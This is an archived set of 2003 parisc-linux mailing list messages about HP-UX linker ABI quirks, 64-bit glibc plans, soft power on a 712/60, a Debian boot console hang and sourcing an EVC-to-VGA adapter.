Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A1C54829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Apr 2003 17:02:33 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8) with ESMTP id h3402UsQ020235;
	Thu, 3 Apr 2003 19:02:31 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8/Submit) id h3402U4u020233;
	Thu, 3 Apr 2003 19:02:30 -0500 (EST)
In-Reply-To: <20030403225228.GI7542@systemhalted> from "Carlos O'Donell" at Apr 3, 2003 05:52:28 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18176

> Why was a 64-bit linker written for HPUX, couldn't the normal HPUX
> linker have been used?

I can't answer that.  Presumably, HP funded the development.  Possibly,
they were considering using the GNU linker but then decided to go with
a different port.  I do most of my 64-bit testing now with the HPUX
linker.  There were some rough edges in using the HP linker with GCC
a few months ago but these have been resolved.

The HP linker is not compliant with the sysv ELF ABI in its handling
of weak symbols.  Undefined weak symbols are supposed to resolve
to a value of 0, and the linker is not supposed to search archive
libraries for undefined weaks.  I tried hacking GNU ld to see if
this could be fixed but this isn't possible since the dynamic loader
has the same behavior.  Basically, weak symbols appear to behave
like secondary definition symbols with the SOM runtime.  The lack
of proper weak support impacts GCC thread support.

HP doesn't support DT_INIT and DT_FINI.  They also used a non
standard implementation for DT_ARRAY_INIT and DT_ARRAY_FINI.
Their section flags for these are non compliant and we needed an
assembler hack to handle initializers and finalizers.

Finally, the HP linker doesn't know about gnu linkonce sections but
I haven't hit any situation where it causes a functional problem.
Probably, it only affect program startup time.

> As for function descriptors, I think that I'll be reworking that code 
> (glibc) in the next few months.... following somewhat what H.J.Lu 
> has suggested and ia64 / PowerPC64 implement. This should make things 
> easier to work with.

I presume you are talking about the implementation for lazy linking.
I know the ia64 implementation of function descriptors differs from
what is done for the 32-bit hppa ports.

> Not true 64-bit since leaving the kernel doesn't mean the processor
> stays in wide mode. I need to make some more kernel patches to
> enable the start of a static 64-bit userspace.

Ok.  I should note that the current 64-bit GNU ld doesn't know how
to do a true static link.

> I think that before a 64-bit userspace gets started, I'm going to
> be working at getting glibc to pass "make -k check" without failure,
> followed by lots of TLS work so we keep up with the changes in glibc
> for our 32-bit userspace :)

I certainly agree with that plan.  64-bit code is always going to
be slower than 32-bit code, so it shouldn't be used unless really
needed.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] soft power and power light on 712/60
Date: Fri, 4 Apr 2003 08:09:00 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <BAY1-DAV44hAj5p1Fjx0005361c@hotmail.com>
References: <se89551b.093@internal.us.fortis.com> <20030402092352.GA10035@marmite.its.uct.ac.za> <20030402113822.GB3363@cdc712-9.cdc.polimi.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622361 24159 80.91.229.3 (22 Nov 2014 02:12:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:41 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Michael Wood" <mwood@its.uct.ac.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  3 23:11:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (bay1-dav44.bay1.hotmail.com [65.54.244.16])
	by dsl2.external.hp.com (Postfix) with ESMTP id 27D594829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Apr 2003 23:11:23 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 3 Apr 2003 22:11:21 -0800
Original-Received: from 194.7.238.98 by bay1-dav44.bay1.hotmail.com with DAV;
	Fri, 04 Apr 2003 06:11:21 +0000
X-Originating-IP: [194.7.238.98]
X-Originating-Email: [kennywest1@hotmail.com]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
X-OriginalArrivalTime: 04 Apr 2003 06:11:21.0690 (UTC) FILETIME=[038213A0:01C2FA71]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18177

I had a similar problem a while ago. The following URL should lead you to
the discussion I had that time:
http://lists.parisc-linux.org/hypermail/parisc-linux/8454.html
So eventually, the soft power worked, and is still working on my 712/60 even
with the latest kernel. Please note that I build the kernels myself, I never
use prebuilt ones (unless for installing ;) ). You should find my working
.config as an attachment
(http://lists.parisc-linux.org/hypermail/parisc-linux/att-8454/02-.config).
You can use this one, or do a diff with your .config to see what you're
missing.

Hope this helps.

Kenneth

----- Original Message -----
From: "root" <root@cdc712-9.cdc.polimi.it>
To: "Michael Wood" <mwood@its.uct.ac.za>
Cc: <parisc-linux@lists.parisc-linux.org>
Sent: Wednesday, April 02, 2003 1:38 PM
Subject: Re: [parisc-linux] soft power and power light on 712/60


> On Wed, Apr 02, 2003 at 11:23:52AM +0200, Michael Wood wrote:
> > On Tue, Apr 01, 2003 at 08:59:43AM -0600, Derek Ellis wrote:
>
> I've got a problem similar to yours with my 712-60 using 2.4.20-pa32
> precompiled. The power light while searching for a suitable boot
> media (as it should), then goes on as expected. The power switch does not
> work. With earlier kernels (say 2.4.9-something) it worked. Any advice on
> that ?
>
>
> > > Hello,
> > >
> > > I have sort of a weird problem.  I installed Debian 3.0 on Sunday and
> > > it came up great on my 712/60.  The only problem is the soft-power
> > > switch doesn't work and the power light flashes while searching for
> > > the boot device and then goes off once it starts booting.
> >
> > --
> > Michael Wood <mwood@its.uct.ac.za>
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>


From - Thu Nov 08 21:27:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Wood <mwood@its.uct.ac.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] soft power and power light on 712/60
Date: Fri, 4 Apr 2003 08:49:22 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <20030404064922.GG17524@marmite.its.uct.ac.za>
References: <se89551b.093@internal.us.fortis.com> <20030402092352.GA10035@marmite.its.uct.ac.za> <20030402113822.GB3363@cdc712-9.cdc.polimi.it> <BAY1-DAV44hAj5p1Fjx0005361c@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622362 24162 80.91.229.3 (22 Nov 2014 02:12:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kenneth westelinck <kennywest1@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  3 23:49:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.uct.ac.za (mail.uct.ac.za [137.158.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1BA124837
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Apr 2003 23:49:35 -0700 (MST)
Original-Received: from marmite.its.uct.ac.za ([137.158.26.155])
	by mail.uct.ac.za with esmtp (Exim 3.35 #1)
	id 191L0y-0008rY-00; Fri, 04 Apr 2003 08:49:28 +0200
Original-Received: by marmite.its.uct.ac.za (Postfix, from userid 1000)
	id A8A111A330; Fri,  4 Apr 2003 08:49:22 +0200 (SAST)
Mail-Followup-To: Michael Wood <mwood@its.uct.ac.za>,
	kenneth westelinck <kennywest1@hotmail.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <BAY1-DAV44hAj5p1Fjx0005361c@hotmail.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18178

On Fri, Apr 04, 2003 at 08:09:00AM +0200, kenneth westelinck wrote:
> I had a similar problem a while ago. The following URL should lead you to
> the discussion I had that time:
> http://lists.parisc-linux.org/hypermail/parisc-linux/8454.html
> So eventually, the soft power worked, and is still working on my
> 712/60 even with the latest kernel. Please note that I build the
> kernels myself, I never use prebuilt ones (unless for installing ;) ).
> You should find my working .config as an attachment
> (http://lists.parisc-linux.org/hypermail/parisc-linux/att-8454/02-.config).
> You can use this one, or do a diff with your .config to see what
> you're missing.

Ahhh, thanks.  Now I just need to get one of the parisc boxen back from
the dark side ;)

-- 
Michael Wood <mwood@its.uct.ac.za>


From - Thu Nov 08 21:27:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlo Carlesi <carlesi@isti.cnr.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] install Debian 3.0 on hp9000 model D270/2
Date: Fri, 04 Apr 2003 13:49:33 +0200
Organization: ISTI-CNR
Lines: 46
Approved: news@gmane.org
Message-ID: <3E8D714D.EF7D2C42@isti.cnr.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622362 24163 80.91.229.3 (22 Nov 2014 02:12:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  4 04:42:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx2.isti.cnr.it (mx2.isti.cnr.it [146.48.80.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4AB644839
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Apr 2003 04:42:27 -0700 (MST)
Original-Received: from CONVERSION.MAIL.IAT.CNR.IT by mx.isti.cnr.it (PMDF V6.2 #30641)
 id <01KUBY2YAU7K94DTTW@mx.isti.cnr.it> for
 parisc-linux@lists.parisc-linux.org; Fri, 04 Apr 2003 13:41:17 +0200
Original-Received: from isti.cnr.it (archimede.isti.cnr.it [146.48.84.13])
 by mx.isti.cnr.it (PMDF V6.2 #30641)
 with ESMTPS id <01KUBY0Z3SSS95MNDF@mx.isti.cnr.it> for
 parisc-linux@lists.parisc-linux.org; Fri, 04 Apr 2003 13:41:17 +0200
X-Mailer: Mozilla 4.75 [en] (X11; U; SunOS 5.8 sun4u)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18179

Hello,
i try to boot from cdrom but i  have the above messages:

.......
Command line for kernel: 'ramdisk_size=8192 roo=/dev/ram console=tty0
sti=8/12
sti_font=VGA8x16 TERM=linux pa;o_kernel=0/vmlinux32'
Selevted kernel: /vmlinux32 from partition 0
Selected ramdisk: /ramdisk from partition 0
ELF32 executable
Entry 00100000 first 00100000 n 5
Segment 0 load 00100000 size 2024492 mediaptr 0x1000
Segment 1 load 002f0000 size 299320 mediaptr 0x1f0000
Segment 2 load 0033c000 size 401408 mediaptr 0x23a000
Segment 3 load 003a 0000 size 32768 mediaptr 0x29c000
Segment 4 load 003c90f8 size 102032 mediaptr 02a40f8
Loading ramdisk 2663046 bytes @ 17d65000
Brancing to kernel entry point 0x00100000.   If this is the last
message you see, you need to switch your console. This is
a common symtom -- search the FAQ and mailing list at parisk-linux.org.


--------------
At this point the system is not responding .... qhat i can do ?

If i exexute the command "path" (at the prompt boot_line) i have a
"console path=8/12.0 ".

I try to put 8/12.0 as console but not is changed.


Sorry for my bad english, best regards

carlo
------------------------
Carlo Carlesi
Consiglio Nazionale Delle Ricerche
Istituto di Scienza e Tecnologia dell'Informazione
"Alessando Faedo"
Area della Ricerca di Pisa
Via Moruzzi, 1 (Italy)
Tel. +39 050 315 2800
carlo.carlesi@isti.cnr.it




From - Thu Nov 08 21:27:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Robb <hecubus3rd@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] EVC?
Date: Fri, 4 Apr 2003 05:50:14 -0800 (PST)
Lines: 13
Approved: news@gmane.org
Message-ID: <20030404135014.35505.qmail@web10504.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622362 24167 80.91.229.3 (22 Nov 2014 02:12:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  4 06:50:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web10504.mail.yahoo.com (web10504.mail.yahoo.com [216.136.130.154])
	by dsl2.external.hp.com (Postfix) with SMTP id ECE324829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Apr 2003 06:50:15 -0700 (MST)
Original-Received: from [142.51.40.16] by web10504.mail.yahoo.com via HTTP; Fri, 04 Apr 2003 05:50:14 PST
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18180

I understand my HP C180XP has a evc connector for
video
(It's a 3x10 pin connector.)   I was wondering where
I can order a adapter for it so I can display it on
a vga monitor.

Timothy.

__________________________________________________
Do you Yahoo!?
Yahoo! Tax Center - File online, calculators, forms, and more
http://tax.yahoo.com


From - Thu Nov 08 21:27:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EVC?
Date: Fri, 4 Apr 2003 06:54:30 -0800 (PST)
Lines: 45
Approved: news@gmane.org
Message-ID: <20030404145430.14389.qmail@web12505.mail.yahoo.com>
References: <20030404135014.35505.qmail@web10504.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-77506341-1049468070=:13641"
X-Trace: ger.gmane.org 1416622363 24171 80.91.229.3 (22 Nov 2014 02:12:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:43 +0000 (UTC)
To: Tim Robb <hecubus3rd@yahoo.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  4 07:54:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12505.mail.yahoo.com (web12505.mail.yahoo.com [216.136.173.197])
	by dsl2.external.hp.com (Postfix) with SMTP id DFEC24829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Apr 2003 07:54:31 -0700 (MST)
Original-Received: from [12.24.253.152] by web12505.mail.yahoo.com via HTTP; Fri, 04 Apr 2003 06:54:30 PST
In-Reply-To: <20030404135014.35505.qmail@web10504.mail.yahoo.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18181

--0-77506341-1049468070=:13641
Content-Type: text/plain; charset=us-ascii


Tim,
Here's the part number for the adapter since the cable adapter (8120-6861) is no longer available: 1253-0635.  You can find them on occasion on Ebay for about $10 or you can order it direct from HP for about $28 (www.partsurfer.hp.com).  There are some third party vendors (no affiliation with any of them) like http://www.montest.com/adapters.html -EVCM-15HDF Adapter but they want $46 bucks for it.  Never thought I would find a product that HP was charging less for direct.   There are a couple of the cable type ones for sale on Ebay right now :
http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=3410162217&category=11214
http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=3410685665&category=3759
The second is for $18 buy it now.  Looks like a pretty good deal.  So, just do a google search on the web for EVC monitor adapter and you will get a slew of hits.  I have two here at the house, but I am using both of them.....
derek
 Tim Robb <hecubus3rd@yahoo.com> wrote:I understand my HP C180XP has a evc connector for
video
(It's a 3x10 pin connector.) I was wondering where
I can order a adapter for it so I can display it on
a vga monitor.

Timothy.

__________________________________________________
Do you Yahoo!?
Yahoo! Tax Center - File online, calculators, forms, and more
http://tax.yahoo.com
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Do you Yahoo!?
Yahoo! Tax Center - File online, calculators, forms, and more
--0-77506341-1049468070=:13641
Content-Type: text/html; charset=us-ascii

<P>Tim,
<P>Here's the part number for the adapter since the cable adapter (8120-6861) is no longer available: 1253-0635.&nbsp; You can find them on occasion on Ebay for about $10 or you can order it direct from HP for about $28 (<A href="http://www.partsurfer.hp.com">www.partsurfer.hp.com</A>).&nbsp; There are some third party vendors (no affiliation with any of them) like <A href="http://www.montest.com/adapters.html">http://www.montest.com/adapters.html</A>&nbsp;-EVCM-15HDF Adapter but they want $46 bucks for it.&nbsp; Never thought I would find a product that HP was charging less for direct.&nbsp;<STRONG>&nbsp; </STRONG>There are a couple of the cable type ones for sale on Ebay right now&nbsp;:
<P><A href="http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&amp;item=3410162217&amp;category=11214">http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&amp;item=3410162217&amp;category=11214</A>
<P><A href="http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&amp;item=3410685665&amp;category=3759">http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&amp;item=3410685665&amp;category=3759</A>
<P>The second is for $18 buy it now.&nbsp; Looks like a pretty good deal.&nbsp; So, just do a google search on the web for EVC monitor adapter and you will get a slew of hits.&nbsp; I have two here at the house, but I am using both of them.....
<P>derek
<P>&nbsp;<B><I>Tim Robb &lt;hecubus3rd@yahoo.com&gt;</I></B> wrote:
<BLOCKQUOTE style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid">I understand my HP C180XP has a evc connector for<BR>video<BR>(It's a 3x10 pin connector.) I was wondering where<BR>I can order a adapter for it so I can display it on<BR>a vga monitor.<BR><BR>Timothy.<BR><BR>__________________________________________________<BR>Do you Yahoo!?<BR>Yahoo! Tax Center - File online, calculators, forms, and more<BR>http://tax.yahoo.com<BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://us.rd.yahoo.com/finance/mailsig/*http://tax.yahoo.com">Yahoo! Tax Center</a> - File online, calculators, forms, and more
--0-77506341-1049468070=:13641--


From - Thu Nov 08 21:27:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Applications in 64 bits userspace
Date: Fri, 4 Apr 2003 13:08:41 -0500
Lines: 58
Approved: news@gmane.org
Message-ID: <20030404180841.GP7542@systemhalted>
References: <20030403225228.GI7542@systemhalted> <200304040002.h3402U4u020233@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622363 24428 80.91.229.3 (22 Nov 2014 02:12:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  4 11:08:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB8394829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Apr 2003 11:08:11 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 191VcH-0007XR-00; Fri, 04 Apr 2003 13:08:41 -0500
Content-Disposition: inline
In-Reply-To: <200304040002.h3402U4u020233@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
X-Mailer: Neural Implant (32% Sync Ratio [===.......])
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18182

John,

> I can't answer that.  Presumably, HP funded the development.  Possibly,
> they were considering using the GNU linker but then decided to go with
> a different port.  I do most of my 64-bit testing now with the HPUX
> linker.  There were some rough edges in using the HP linker with GCC
> a few months ago but these have been resolved.

I get random email from people who've seen my libc-alpha postings, and
they want to know how to fix their busted gcc (hppa2.0w) + HPUX linker
compiles... looks like floating point loads and stores with bad 
relocations (the reason we disable fpregs in the rtld code for glibc).

> The HP linker is not compliant with the sysv ELF ABI in its handling
> of weak symbols.  Undefined weak symbols are supposed to resolve
> to a value of 0, and the linker is not supposed to search archive
> libraries for undefined weaks.  I tried hacking GNU ld to see if
> this could be fixed but this isn't possible since the dynamic loader
> has the same behavior.  Basically, weak symbols appear to behave
> like secondary definition symbols with the SOM runtime.  The lack
> of proper weak support impacts GCC thread support.

Ick! Okay, I see why the initial intent to transition toolchains was
made. Though it still probably kicks our arse in terms of performance.

> I presume you are talking about the implementation for lazy linking.
> I know the ia64 implementation of function descriptors differs from
> what is done for the 32-bit hppa ports.

See Lu's patch at:
http://sources.redhat.com/ml/libc-alpha/2003-04/msg00048.html

It's a unification effort to try get arches that use func. desc. onto
the same page... hopefully lockless lookups and lazy linking :)
 
> Ok.  I should note that the current 64-bit GNU ld doesn't know how
> to do a true static link.

How so? -static and -nostdlib and add all the bits yourself?
 
> I certainly agree with that plan.  64-bit code is always going to
> be slower than 32-bit code, so it shouldn't be used unless really
> needed.

It would still be a nice treat to get more testing on the 64-bit
compiler, and be able to run bigger apps on the bigger PARISC boxes once
they become available :)

Though, yes, the current plan is, without fail, in the order I feel like
fixing them today:
- make -k check passes
- function descriptor fixes
- TLS support
- Static 64-bit userspace

c.



From - Thu Nov 08 21:27:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Applications in 64 bits userspace
Date: Fri, 4 Apr 2003 13:48:57 -0500 (EST)
Lines: 31
Approved: news@gmane.org
